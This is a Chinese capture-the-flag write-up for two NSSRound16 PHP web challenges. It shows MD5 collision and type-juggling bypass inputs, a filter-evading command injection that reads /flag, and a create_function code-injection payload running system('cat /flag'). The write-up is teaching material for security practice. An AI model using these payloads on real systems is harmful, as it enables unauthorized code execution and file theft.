NSSRound16

RCE但是没有完全RCE

审题

审核代码,简单的md5绕过。

知识点

md5绕过,命令组合,shell里``中的内容会被当成代码执行

知识详解

  1. md5等于的绕过方法

    1. 数组绕过 a[]=1&b[]=2,

    2. 0e绕过弱比较,md5后的值以0e开头即可绕过。

    3. $a==md5 $a=0e215962017其md5后的值也为0e开头

    4. md5碰撞绕过强比较。

      a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
      b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

解题

  1. md5碰撞绕过md5_1和2,数组绕过md5_3

  1. 进入新目录。

审核代码禁用了一些字母符号,并且将shell和cmd构成了一个可执行函数

使用dir观察题目内容

找到flag,cat命令被禁言使用more命令。

并且由于``中内容会被当成代码执行使用php -r,快速执行一些php代码。

所以构造的cmd为

cmd=cd /;more `php -r "echo chr(102).chr(108).chr(97).chr(103);"`

了解过PHP特性吗

审题

进行代码审计后,总的来说就是让checker1,2,3,4都为ture

知识点

php函数的应用。

解题

  1. 绕过checker1

    $num = $_GET['num'];
    if (preg_match("/[0-9]/", $num)) {
    die("no!!");
    }
    if (intval($num)) {
    $checker_1 = TRUE;
    }

    只要让num中匹配不到数字并让intval=1即可。直接用数组绕过

    num[]=1

  2. 绕过checker2

    if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
    $ctype = strrev($_POST['ctype']);
    $is_num = strrev($_POST['is_num']);
    if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
    $checker_2 = TRUE;
    }
    }

    md5弱比较,0e 绕过。

    注意strrev()函数,反转函数将字符串前后反转。

    构造:ctype=TDNHTLQ&is_num=807016042

  3. 绕过checker3。

    $_114 = $_GET['114'];
    $_514 = $_POST['514'];
    if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
    if (!is_numeric($_514) && $_514 > 9999999) {
    $checker_3 = TRUE;
    }
    }

    直接构造:114=1e9&514=9999999999999999a即可。

  4. 绕过checker4

    $arr4y = $_POST['arr4y'];
    if (is_array($arr4y)) {
    for ($i = 0; $i < count($arr4y); $i++) {
    if ($arr4y[$i] === "NSS") {
    die("no!");
    }
    $arr4y[$i] = intval($arr4y[$i]);
    }
    if (array_search("NSS", $arr4y) === 0) {
    $checker_4 = TRUE;
    }
    }

    首先arr4y[]!=NSS,然后array_search函数是弱比较,如果为数字,则NSS比较后输出0,如果为字符串则输出false。

    所以,构造:arr4y[]=0.

得到下一页目录

注意create_function()函数

$B='echo $A;'
create_function($A,$B) //的输出结果相当于 function lambda_1($A){
echo $A;
}

所以,传入nss=return;}system('cat /flag');/*&shell=时

相当于:

creat_function($shell,$nss);

function lambda_1($shell,$nss){
return;}system('cat /flag');/*
}

所以,得到flag。

随机推荐

  1. Java23种设计模式学习笔记

    创建型模式:关注对象的创建过程 1.单例​模式: 保证一个类只有一个实例,并且提供一个访问该实例的全局访问点 主要: 饿汉式(线程安全,调用效率高,但是不能延时加载) 懒汉式(线程安全,调用效率不高, ...

  2. 一文搞清楚Java中的包、类、接口

    写在开头 包.类.接口.方法.变量.参数.代码块,这些都是构成Java程序的核心部分,即便最简单的一段代码里都至少要包含里面的三四个内容,这两天花点时间梳理了一下,理解又深刻了几分. Java中的包 ...

  3. wireshark 显示过滤表达式

    转载请注明出处: 1.根据协议过滤: 在显示过滤表达式的输入框中直接输入对应的协议类型即可:http   tcp  udp 2.根据 IP 过滤: 根据源IP地址过滤:如源地址IP为:127.0.0. ...

  4. SV OOP-1

    内容 面向对象编程 面向对象的基本概念 对象没有办法直接操作,需要通过handle(指向对象的指针)进行操作 面向对象的基本术语 面向对象的优势 类的定义 实例化对象 new() - 产生具体对象,开 ...

  5. Maven项目手动配置依赖项

    1.问题 很多时候,我们依靠其本身的识别功能,并不能很好的识别依赖项(尤其是指定版本),且对于一些位于 <\build>不能自动去下载,这时候我们就要去手动配置依赖项 2.解决 2.1 首 ...

  6. SpringMVC06——数据绑定——2021-05-09

    数据绑定介绍 在执行程序时,SpringMVC会根据客户端请求参数的不同, 将请求信息中的信息以一定的方式转换并绑定到控制器类的方法参数中. 在数据绑定过程中,SpringMVC框架会通过数据绑定组件 ...

  7. GraduationProject

    GraduationProject 为了毕设寻找的一些springboot项目资源 后台项目: FEBS-Shiro: https://github.com/wuyouzhuguli/FEBS-Shi ...

  8. Linux-用户管理-useradd-userdel-id

  9. 海思Hi35xx 通过uboot 读取U盘文件进行固件升级

    前言 基本过程为:uboot 启动后,通过命令将U盘的的文件读取到内存中,再通过uboot 的flash 写入命令将读取到内存中的升级文件写入到flash的固定位置. (一)usb常用命令 uboot ...

  10. [转帖]Linux内存之Cache

    一. Linux内存之Cache 1.1.Cache 1.1.1.什么是Cache? Cache存储器,是位于CPU和主存储器DRAM之间的一块高速缓冲存储器,规模较小,但是速度很快,通常由SRAM( ...